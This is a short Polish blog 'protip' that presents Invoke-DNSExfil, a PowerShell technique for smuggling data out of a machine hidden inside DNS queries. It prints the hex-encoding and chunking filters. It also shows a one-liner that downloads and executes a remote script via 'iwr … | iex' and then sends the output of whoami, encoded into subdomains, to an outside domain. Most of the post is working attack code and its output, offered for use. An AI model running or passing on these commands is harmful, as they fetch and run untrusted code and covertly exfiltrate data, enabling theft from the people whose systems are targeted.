Ten nieskomplikowny skrypt o nazwie
Invoke-DNSExfil, pozwla na bardzo prostą eksfiltrację z pomocą zapytań DNS. Wykorzystuje
cmdlet Resolve-DnsName, który wysyła odpowiednie zapytanie do domyślnego serwera DNS (np. 8.8.8.8, 1.1.1.1) lub tego, który jest jawnie wskazany poprzez
-Server.
Dodatkowo zdefiniowane są dla wygody 3
filtry:
filter thx { ($_.ToCharArray() | % { "{0:X2}" -f [int]$_ }) -join "" }
- zakoduj wejście do HEXów
filter chunks($c) { $t = $_; 0..[math]::floor($t.length / $c) | % { $t.substring($c * $_, [math]::min($c, $t.length - $c * $_)) } }
- podziel wejście na $c elementów (co będzie związane maksymalną długością odpytywanej subdomeny
filter dots($c) { ($_ -replace "([\w]{$c})", "`$1.").trim('.') }
- wstaw kropki co $c znaków, czyli podziel domenę na subdomeny
Poniższy przykład powinien wyjaśnić zasadę działania - wynik polecenia
whoami po zamienieniu na
hexy zostanie wysłany pod przykryciem zapytania o pewne subdomeny. Teraz po stronie serwera DNS obsługującego daną domenę wystarczy zdekodować nazwy subdomen z
hexów na
ascii i gotowe.
PS C:\Users\Lenovo> iwr aptm.in/g/dnsex -useb|iex; whoami|Invoke-DNSExfil foo.aptmc.pl
Name Type TTL Section IPAddress
---- ---- --- ------- ---------
___begin___.1.foo.aptmc.pl A 4502 Answer 217.182.120.233
6465736B746F702D69687575636F705C.6C656E6F766F0 A 4502 Answer 217.182.120.233
D0A.1.foo.aptmc.pl
___end___.1.foo.aptmc.pl A 4502 Answer 217.182.120.233
PS C:\Users\Lenovo>
I nie zapominajcie, że czasem warto użyć
-useb (-UseBasicParsing), o czym było trochę w jednym z poprzednich
Protipów.
Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.